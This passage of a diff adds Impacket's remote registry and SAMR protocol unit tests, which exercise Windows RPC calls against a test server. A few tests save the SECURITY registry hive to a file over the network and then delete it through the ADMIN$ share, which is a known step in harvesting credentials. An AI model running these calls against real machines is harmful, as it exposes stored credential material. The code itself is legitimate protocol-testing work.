+        request = rrp.OpenClassesRoot()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_OpenCurrentUser(self):
+        dce, rpctransport = self.connect()
+        request = rrp.OpenCurrentUser()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_OpenLocalMachine(self):
+        dce, rpctransport = self.connect()
+        request = rrp.OpenLocalMachine()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_OpenPerformanceData(self):
+        dce, rpctransport = self.connect()
+        request = rrp.OpenPerformanceData()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_OpenUsers(self):
+        dce, rpctransport = self.connect()
+        request = rrp.OpenUsers()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_BaseRegCloseKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+        request = rrp.BaseRegCloseKey()
+        request['hKey'] = phKey
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hBaseRegCreateKey_hBaseRegSetValue_hBaseRegDeleteKey(self):
+        dce, rpctransport = self.connect()
+        resp = rrp.hOpenClassesRoot(dce)
+        resp.dump()
+        regHandle = resp['phKey']
+
+        resp = rrp.hBaseRegCreateKey(dce, regHandle, self.test_key)
+        resp.dump()
+        phKey = resp['phkResult']
+
+        try: 
+            resp = rrp.hBaseRegSetValue(dce, phKey, self.test_value_name,  rrp.REG_SZ, self.test_value_data)
+            resp.dump()
+        except Exception as e:
+            print(e)
+
+        type, data = rrp.hBaseRegQueryValue(dce, phKey, self.test_value_name)
+
+        resp = rrp.hBaseRegDeleteValue(dce, phKey, self.test_value_name)
+        resp.dump()
+
+        resp = rrp.hBaseRegDeleteKey(dce, regHandle, self.test_key)
+        resp.dump()
+        self.assertEqual(self.test_value_data, data)
+
+    def test_BaseRegCreateKey_BaseRegSetValue_BaseRegDeleteKey(self):
+        dce, rpctransport = self.connect()
+        request = rrp.OpenClassesRoot()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED 
+        resp = dce.request(request)
+        resp.dump()
+        regHandle = resp['phKey']
+
+        request = rrp.BaseRegCreateKey()
+        request['hKey'] = regHandle
+        request['lpSubKey'] = self.test_key
+        request['lpClass'] = NULL
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED
+        request['lpSecurityAttributes']['RpcSecurityDescriptor']['lpSecurityDescriptor'] = NULL
+        request['lpdwDisposition'] = rrp.REG_CREATED_NEW_KEY
+        resp = dce.request(request)
+        resp.dump()
+        phKey = resp['phkResult']
+
+        request = rrp.BaseRegSetValue()
+        request['hKey'] = phKey
+        request['lpValueName'] = self.test_value_name
+        request['dwType'] = rrp.REG_SZ
+        request['lpData'] = self.test_value_data.encode('utf-16le')
+        request['cbData'] = len(self.test_value_data)*2
+        
+        try: 
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            print(e)
+
+        request = rrp.BaseRegQueryValue()
+        request['hKey'] = phKey
+        request['lpValueName'] = self.test_value_name
+        request['lpData'] = b' '*100
+        request['lpcbData'] = 100
+        request['lpcbLen'] = 100
+        resp = dce.request(request)
+        resp.dump()
+        resData = resp['lpData']
+
+        request = rrp.BaseRegDeleteKey()
+        request['hKey'] = regHandle
+        request['lpSubKey'] = self.test_key
+        resp = dce.request(request)
+        resp.dump()
+        print(b''.join(resData).decode('utf-16le'))
+        self.assertEqual(self.test_value_data, b''.join(resData).decode('utf-16le'))
+
+    def test_BaseRegEnumKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegOpenKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS
+        resp = dce.request(request)
+
+        request = rrp.BaseRegEnumKey()
+        request['hKey'] = resp['phkResult']
+        request['dwIndex'] = 1
+        # I gotta access the fields manually :s
+        request.fields['lpNameIn'].fields['MaximumLength'] = 510
+        request.fields['lpNameIn'].fields['Data'].fields['Data'].fields['MaximumCount'] = 255
+        request['lpClassIn'] = ' '*100
+        request['lpftLastWriteTime'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hBaseRegEnumKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegOpenKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS
+        resp = dce.request(request)
+
+        resp = rrp.hBaseRegEnumKey(dce, resp['phkResult'], 1)
+        resp.dump()
+
+    def test_BaseRegEnumValue(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegOpenKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+
+        request = rrp.BaseRegEnumValue()
+        request['hKey'] = resp['phkResult']
+        request['dwIndex'] = 6
+        request['lpValueNameIn'] = ' '*100
+        request['lpData'] = b' '*100
+        request['lpcbData'] = 100
+        request['lpcbLen'] = 100
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hBaseRegEnumValue(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegOpenKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+
+        resp = rrp.hBaseRegEnumValue(dce, resp['phkResult'], 6, 100)
+        resp.dump()
+
+    def test_BaseRegFlushKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+        resp = rrp.hBaseRegFlushKey(dce, phKey)
+        resp.dump()
+
+    def test_BaseRegGetKeySecurity(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+        resp = rrp.hBaseRegGetKeySecurity(dce, phKey, OWNER_SECURITY_INFORMATION)
+        resp.dump()
+
+    def test_BaseRegOpenKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+        request = rrp.BaseRegOpenKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hBaseRegQueryInfoKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\JD\x00')
+
+        resp = rrp.hBaseRegQueryInfoKey(dce, resp['phkResult'])
+        resp.dump()
+
+    def test_BaseRegQueryValue(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegOpenKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rrp.BaseRegQueryValue()
+        request['hKey'] = resp['phkResult']
+        request['lpValueName'] = 'ProductName\x00'
+        request['lpData'] = b' '*100
+        request['lpcbData'] = 100
+        request['lpcbLen'] = 100
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hBaseRegQueryValue(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00')
+        resp.dump()
+
+        rrp.hBaseRegQueryValue(dce, resp['phkResult'], 'ProductName\x00')
+        
+    def test_BaseRegReplaceKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegReplaceKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SOFTWARE\x00'
+        request['lpNewFile'] = 'SOFTWARE\x00'
+        request['lpOldFile'] = 'SOFTWARE\x00'
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('ERROR_FILE_NOT_FOUND') < 0:
+                raise
+
+    def test_hBaseRegReplaceKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        try:
+            resp = rrp.hBaseRegReplaceKey(dce, phKey, 'SOFTWARE\x00', 'SOFTWARE\x00', 'SOFTWARE\x00')
+            resp.dump()
+        except Exception as e:
+            if str(e).find('ERROR_FILE_NOT_FOUND') < 0:
+                raise
+
+    def test_BaseRegRestoreKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegRestoreKey()
+        request['hKey'] = phKey
+        request['lpFile'] = 'SOFTWARE\x00'
+        request['Flags'] = rrp.REG_REFRESH_HIVE
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except Exception as e:
+            if str(e).find('ERROR_FILE_NOT_FOUND') < 0:
+                raise
+
+    def test_hBaseRegRestoreKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        try:
+            resp = rrp.hBaseRegRestoreKey(dce, phKey, 'SOFTWARE\x00')
+            resp.dump()
+        except Exception as e:
+            if str(e).find('ERROR_FILE_NOT_FOUND') < 0:
+                raise
+
+    def test_BaseRegSaveKey(self):
+        dce, rpctransport = self.connect()
+
+        request = rrp.OpenCurrentUser()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rrp.BaseRegSaveKey()
+        request['hKey'] = resp['phKey']
+        request['lpFile'] = 'BETUSFILE2\x00'
+        request['pSecurityAttributes'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+        # I gotta remove the file now :s
+        smb = rpctransport.get_smb_connection()
+        smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2')
+
+    def test_hBaseRegSaveKey(self):
+        dce, rpctransport = self.connect()
+
+        resp = rrp.hOpenCurrentUser(dce)
+        resp.dump()
+
+        resp = rrp.hBaseRegSaveKey(dce, resp['phKey'], 'BETUSFILE2\x00')
+        resp.dump()
+        # I gotta remove the file now :s
+        smb = rpctransport.get_smb_connection()
+        smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2')
+
+    def test_BaseRegGetVersion(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegGetVersion()
+        request['hKey'] = phKey
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hBaseRegGetVersion(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        resp = rrp.hBaseRegGetVersion(dce, phKey)
+        resp.dump()
+
+    def test_OpenCurrentConfig(self):
+        dce, rpctransport = self.connect()
+
+        request = rrp.OpenCurrentConfig()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hOpenCurrentConfig(self):
+        dce, rpctransport = self.connect()
+
+        resp = rrp.hOpenCurrentConfig(dce)
+        resp.dump()
+
+    def test_BaseRegQueryMultipleValues(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegOpenKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_QUERY_VALUE
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rrp.BaseRegQueryMultipleValues()
+
+        item1 = rrp.RVALENT()
+        item1['ve_valuename'] = 'ProductName\x00'
+        item1['ve_valuelen'] = len('ProductName\x00')
+        item1['ve_valueptr'] = NULL
+        item1['ve_type'] = rrp.REG_SZ
+         
+        item2 = rrp.RVALENT()
+        item2['ve_valuename'] = 'SystemRoot\x00'
+        item2['ve_valuelen'] = len('SystemRoot\x00')
+        item1['ve_valueptr'] = NULL
+        item2['ve_type'] = rrp.REG_SZ
+
+        item3 = rrp.RVALENT()
+        item3['ve_valuename'] = 'EditionID\x00'
+        item3['ve_valuelen'] = len('EditionID\x00')
+        item3['ve_valueptr'] = NULL
+        item3['ve_type'] = rrp.REG_SZ
+
+        request['hKey'] = resp['phkResult']
+        request['val_listIn'].append(item1)
+        request['val_listIn'].append(item2)
+        request['val_listIn'].append(item3)
+        request['num_vals'] = len(request['val_listIn'])
+        request['lpvalueBuf'] = list(b' '*128)
+        request['ldwTotsize'] = 128
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hBaseRegQueryMultipleValues(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00')
+        resp.dump()
+
+        valueIn = list()
+        item1 = {}
+        item1['ValueName'] = 'ProductName\x00'
+        item1['ValueType'] = rrp.REG_SZ
+        valueIn.append(item1)
+         
+        item2 = {}
+        item2['ValueName'] = 'InstallDate\x00'
+        item2['ValueType'] = rrp.REG_DWORD
+        valueIn.append(item2)
+
+        item3 = {}
+        item3['ValueName'] = 'DigitalProductId\x00'
+        item3['ValueType'] = rrp.REG_BINARY
+        #valueIn.append(item3)
+
+        rrp.hBaseRegQueryMultipleValues(dce, resp['phkResult'], valueIn)
+
+    def test_BaseRegSaveKeyEx(self):
+        dce, rpctransport = self.connect()
+
+        request = rrp.OpenCurrentUser()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rrp.BaseRegSaveKeyEx()
+        request['hKey'] = resp['phKey']
+        request['lpFile'] = 'BETUSFILE2\x00'
+        request['pSecurityAttributes'] = NULL
+        request['Flags'] = 4
+        resp = dce.request(request)
+        resp.dump()
+        # I gotta remove the file now :s
+        smb = rpctransport.get_smb_connection()
+        smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2')
+
+    def test_hBaseRegSaveKeyEx(self):
+        dce, rpctransport = self.connect()
+
+        resp = rrp.hOpenCurrentUser(dce)
+        resp.dump()
+
+        resp = rrp.hBaseRegSaveKeyEx(dce, resp['phKey'], 'BETUSFILE2\x00')
+        resp.dump()
+        # I gotta remove the file now :s
+        smb = rpctransport.get_smb_connection()
+        smb.deleteFile('ADMIN$', 'System32\\BETUSFILE2')
+
+    def test_OpenPerformanceText(self):
+        dce, rpctransport = self.connect()
+
+        request = rrp.OpenPerformanceText()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hOpenPerformanceText(self):
+        dce, rpctransport = self.connect()
+
+        resp = rrp.hOpenPerformanceText(dce)
+        resp.dump()
+
+    def test_OpenPerformanceNlsText(self):
+        dce, rpctransport = self.connect()
+
+        request = rrp.OpenPerformanceNlsText()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hOpenPerformanceNlsText(self):
+        dce, rpctransport = self.connect()
+
+        resp = rrp.hOpenPerformanceNlsText(dce)
+        resp.dump()
+
+    def test_BaseRegQueryMultipleValues2(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegOpenKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\x00'
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED | rrp.KEY_QUERY_VALUE
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rrp.BaseRegQueryMultipleValues2()
+
+        item1 = rrp.RVALENT()
+        item1['ve_valuename'] = 'ProductName\x00'
+        item1['ve_valuelen'] = len('ProductName\x00')
+        item1['ve_valueptr'] = NULL
+        item1['ve_type'] = rrp.REG_SZ
+         
+        item2 = rrp.RVALENT()
+        item2['ve_valuename'] = 'SystemRoot\x00'
+        item2['ve_valuelen'] = len('SystemRoot\x00')
+        item1['ve_valueptr'] = NULL
+        item2['ve_type'] = rrp.REG_SZ
+
+        item3 = rrp.RVALENT()
+        item3['ve_valuename'] = 'EditionID\x00'
+        item3['ve_valuelen'] = len('EditionID\x00')
+        item3['ve_valueptr'] = NULL
+        item3['ve_type'] = rrp.REG_SZ
+
+        request['hKey'] = resp['phkResult']
+        request['val_listIn'].append(item1)
+        request['val_listIn'].append(item2)
+        request['val_listIn'].append(item3)
+        request['num_vals'] = len(request['val_listIn'])
+        request['lpvalueBuf'] = list(b' '*128)
+        request['ldwTotsize'] = 128
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_BaseRegDeleteKeyEx(self):
+        dce, rpctransport = self.connect()
+        request = rrp.OpenClassesRoot()
+        request['ServerName'] = NULL
+        request['samDesired'] = MAXIMUM_ALLOWED 
+        resp = dce.request(request)
+        resp.dump()
+        regHandle = resp['phKey']
+
+        request = rrp.BaseRegCreateKey()
+        request['hKey'] = regHandle
+        request['lpSubKey'] = self.test_key
+        request['lpClass'] = NULL
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED
+        request['lpSecurityAttributes']['RpcSecurityDescriptor']['lpSecurityDescriptor'] = NULL
+        request['lpdwDisposition'] = rrp.REG_CREATED_NEW_KEY
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rrp.BaseRegDeleteKeyEx()
+        request['hKey'] = regHandle
+        request['lpSubKey'] = self.test_key
+        request['AccessMask'] = rrp.KEY_WOW64_32KEY
+        request['Reserved'] = 0
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_BaseRegLoadKey_BaseRegUnLoadKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        request = rrp.BaseRegOpenKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'SECURITY\x00'
+        request['dwOptions'] = 0x00000001
+        request['samDesired'] = MAXIMUM_ALLOWED 
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rrp.BaseRegSaveKey()
+        request['hKey'] = resp['phkResult']
+        request['lpFile'] = 'SEC\x00'
+        request['pSecurityAttributes'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rrp.BaseRegLoadKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'BETUS\x00'
+        request['lpFile'] = 'SEC\x00'
+        resp = dce.request(request)
+        resp.dump()
+
+        request = rrp.BaseRegUnLoadKey()
+        request['hKey'] = phKey
+        request['lpSubKey'] = 'BETUS\x00'
+        resp = dce.request(request)
+        resp.dump()
+
+        smb = rpctransport.get_smb_connection()
+        smb.deleteFile('ADMIN$', 'System32\\SEC')
+
+    def test_hBaseRegLoadKey_hBaseRegUnLoadKey(self):
+        dce, rpctransport = self.connect()
+        phKey = self.open_local_machine(dce)
+
+        resp = rrp.hBaseRegOpenKey(dce, phKey, 'SECURITY\x00')
+        resp.dump()
+
+        request = rrp.BaseRegSaveKey()
+        request['hKey'] = resp['phkResult']
+        request['lpFile'] = 'SEC\x00'
+        request['pSecurityAttributes'] = NULL
+        resp = dce.request(request)
+        resp.dump()
+
+        resp = rrp.hBaseRegLoadKey(dce, phKey, 'BETUS\x00', 'SEC\x00')
+        resp.dump()
+
+        resp = rrp.hBaseRegUnLoadKey(dce, phKey, 'BETUS\x00')
+        resp.dump()
+
+        smb = rpctransport.get_smb_connection()
+        smb.deleteFile('ADMIN$', 'System32\\SEC')
+
+
+@pytest.mark.remote
+class RRPTestsSMBTransport(RRPTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR
+
+
+@pytest.mark.remote
+class RRPTestsSMBTransport64(RRPTests, unittest.TestCase):
+    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64
+
+
+# Process command-line arguments.
+if __name__ == "__main__":
+    unittest.main(verbosity=1)
diff --git a/tests/dcerpc/test_samr.py b/tests/dcerpc/test_samr.py
new file mode 100644
index 0000000..252581d
--- /dev/null
+++ b/tests/dcerpc/test_samr.py
@@ -0,0 +1,2389 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Tested so far:
+#   (h)SamrCloseHandle
+#   (h)SamrConnect5
+#   (h)SamrConnect4
+#   (h)SamrConnect2
+#   (h)SamrConnect
+#   (h)SamrOpenDomain
+#   (h)SamrOpenGroup
+#   (h)SamrOpenAlias
+#   (h)SamrOpenUser
+#   (h)SamrEnumerateDomainsInSamServer
+#   (h)SamrLookupNamesInDomain
+#   (h)SamrLookupIdsInDomain
+#   (h)SamrEnumerateGroupsInDomain
+#   (h)SamrEnumerateAliasesInDomain
+#   (h)SamrEnumerateUsersInDomain
+#   (h)SamrGetGroupsForUser
+#   (h)SamrQueryDisplayInformation3
+#   (h)SamrQueryDisplayInformation2
+#   (h)SamrQueryDisplayInformation
+#   (h)SamrGetDisplayEnumerationIndex2
+#   (h)SamrGetDisplayEnumerationIndex
+#   (h)SamrCreateGroupInDomain
+#   (h)SamrDeleteGroup
+#   (h)SamrCreateAliasInDomain
+#   (h)SamrDeleteAlias
+#   (h)SamrCreateUser2InDomain
+#   (h)SamrDeleteUser
+#   (h)SamrQueryInformationDomain2
+#   hSamrQueryInformationDomain
+#   hSamrSetInformationDomain
+#   (h)SamrQueryInformationGroup
+#   (h)SamrSetInformationGroup
+#   hSamrQueryInformationAlias
+#   hSamrSetInformationAlias
+#   SamrQueryInformationAlias
+#   SamrSetInformationAlias
+#   (h)SamrQueryInformationUser2
+#   (h)SamrSetInformationUser2
+#   SamrQueryInformationUser
+#   SamrSetInformationUser
+#   (h)SamrAddMemberToGroup
+#   (h)SamrRemoveMemberFromGroup
+#   (h)SamrGetMembersInGroup
+#   (h)SamrGetMembersInAlias
+#   (h)SamrAddMemberToAlias
+#   (h)SamrRemoveMemberFromAlias
+#   (h)SamrAddMultipleMembersToAlias
+#   (h)SamrRemoveMultipleMembersFromAliass
+#   (h)SamrRemoveMemberFromForeignDomain
+#   (h)SamrGetAliasMembership
+#   (h)SamrSetMemberAttributesOfGroup
+#   (h)SamrGetUserDomainPasswordInformation
+#   (h)SamrGetDomainPasswordInformation
+#   (h)SamrRidToSid
+#   SamrSetDSRMPassword
+#   (h)SamrValidatePassword
+#   (h)SamrQuerySecurityObject
+#   (h)SamrSetSecurityObject
+#   (h)SamrChangePasswordUser
+#   SamrOemChangePasswordUser2
+#   (h)SamrUnicodeChangePasswordUser2
+#   (h)SamrLookupDomainInSamServer
+# Not yet
+#   SamrCreateUserInDomain
+#
+import pytest
+import unittest
+from tests.dcerpc import DCERPCTests
+
+import string
+import random
+from six import b
+from six import assertRaisesRegex
+
+from impacket import crypto
+from impacket.dcerpc.v5 import samr
+from impacket.dcerpc.v5 import dtypes
+from impacket import nt_errors, ntlm
+from impacket.dcerpc.v5.ndr import NULL
+
+
+class SAMRTests(DCERPCTests):
+    iface_uuid = samr.MSRPC_UUID_SAMR
+    authn = True
+    authn_level = ntlm.NTLM_AUTH_PKT_PRIVACY
+
+    server_name_string = "BETO\x00"
+    full_name_string = "BETO"
+    test_string = "BETUS"
+    test_account = "testAccount"
+    test_group = "testGroup"
+
+    def get_domain_handle(self, dce):
+        request = samr.SamrConnect()
+        request['ServerName'] = self.server_name_string
+        request['DesiredAccess'] = samr.DELETE | samr.READ_CONTROL | samr.WRITE_DAC | samr.WRITE_OWNER | samr.ACCESS_SYSTEM_SECURITY | samr.GENERIC_READ | samr.GENERIC_WRITE | samr.GENERIC_EXECUTE | samr.SAM_SERVER_CONNECT | samr.SAM_SERVER_SHUTDOWN | samr.SAM_SERVER_INITIALIZE | samr.SAM_SERVER_CREATE_DOMAIN | samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN | samr.SAM_SERVER_READ | samr.SAM_SERVER_WRITE | samr.SAM_SERVER_EXECUTE
+        resp = dce.request(request)
+        request = samr.SamrEnumerateDomainsInSamServer()
+        request['ServerHandle'] = resp['ServerHandle']
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 500
+        resp2 = dce.request(request)
+        request = samr.SamrLookupDomainInSamServer()
+        request['ServerHandle'] = resp['ServerHandle']
+        request['Name'] = resp2['Buffer']['Buffer'][0]['Name']
+        resp3 = dce.request(request)
+        request = samr.SamrOpenDomain()
+        request['ServerHandle'] = resp['ServerHandle']
+        request['DesiredAccess'] = samr.DOMAIN_READ_PASSWORD_PARAMETERS | samr.DOMAIN_READ_OTHER_PARAMETERS | samr.DOMAIN_CREATE_USER | samr.DOMAIN_CREATE_ALIAS | samr.DOMAIN_LOOKUP | samr.DOMAIN_LIST_ACCOUNTS | samr.DOMAIN_ADMINISTER_SERVER | samr.DELETE | samr.READ_CONTROL | samr.ACCESS_SYSTEM_SECURITY | samr.DOMAIN_WRITE_OTHER_PARAMETERS | samr.DOMAIN_WRITE_PASSWORD_PARAMS
+        request['DomainId'] = resp3['DomainId']
+        resp4 = dce.request(request)
+        return resp4['DomainHandle']
+
+    def test_SamrCloseHandle(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrCloseHandle()
+        request['SamHandle'] = domainHandle
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrCloseHandle(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrCloseHandle(dce, domainHandle)
+        resp.dump()
+
+    def test_SamrConnect5(self):
+        dce, rpc_transport = self.connect()
+        request = samr.SamrConnect5()
+        request['ServerName'] = self.server_name_string
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['InVersion'] = 1
+        request['InRevisionInfo']['tag'] = 1
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrConnect5(self):
+        dce, rpc_transport = self.connect()
+        resp = samr.hSamrConnect5(dce)
+        resp.dump()
+
+    def test_SamrConnect4(self):
+        dce, rpc_transport = self.connect()
+        request = samr.SamrConnect4()
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['ServerName'] = self.server_name_string
+        request['ClientRevision'] = 2
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrConnect4(self):
+        dce, rpc_transport = self.connect()
+        resp = samr.hSamrConnect4(dce)
+        resp.dump()
+
+    def test_SamrConnect2(self):
+        dce, rpc_transport = self.connect()
+        request = samr.SamrConnect2()
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['ServerName'] = self.server_name_string
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrConnect2(self):
+        dce, rpc_transport = self.connect()
+        resp = samr.hSamrConnect2(dce)
+        resp.dump()
+
+    def test_SamrConnect(self):
+        dce, rpc_transport = self.connect()
+        request = samr.SamrConnect()
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrConnect(self):
+        dce, rpc_transport = self.connect()
+        resp = samr.hSamrConnect(dce)
+        resp.dump()
+
+    def test_SamrOpenDomain(self):
+        dce, rpc_transport = self.connect()
+        request = samr.SamrConnect()
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['ServerName'] = self.server_name_string
+        resp = dce.request(request)
+        request = samr.SamrOpenDomain()
+        SID = 'S-1-5-352321536-2562177771-1589929855-2033349547'
+        request['ServerHandle'] = resp['ServerHandle']
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['DomainId'].fromCanonical(SID)
+
+        with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_NO_SUCH_DOMAIN"):
+            dce.request(request)
+        
+    def test_hSamrOpenDomain(self):
+        dce, rpc_transport = self.connect()
+        resp = samr.hSamrConnect(dce)
+
+        SID = 'S-1-5-352321536-2562177771-1589929855-2033349547'
+        sid = dtypes.RPC_SID()
+        sid.fromCanonical(SID)
+        with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_NO_SUCH_DOMAIN"):
+            samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'], domainId=sid)
+
+    def test_SamrOpenGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrConnect()
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['ServerName'] = self.server_name_string
+        dce.request(request)
+        request = samr.SamrOpenGroup()
+        request['DomainHandle'] = domainHandle
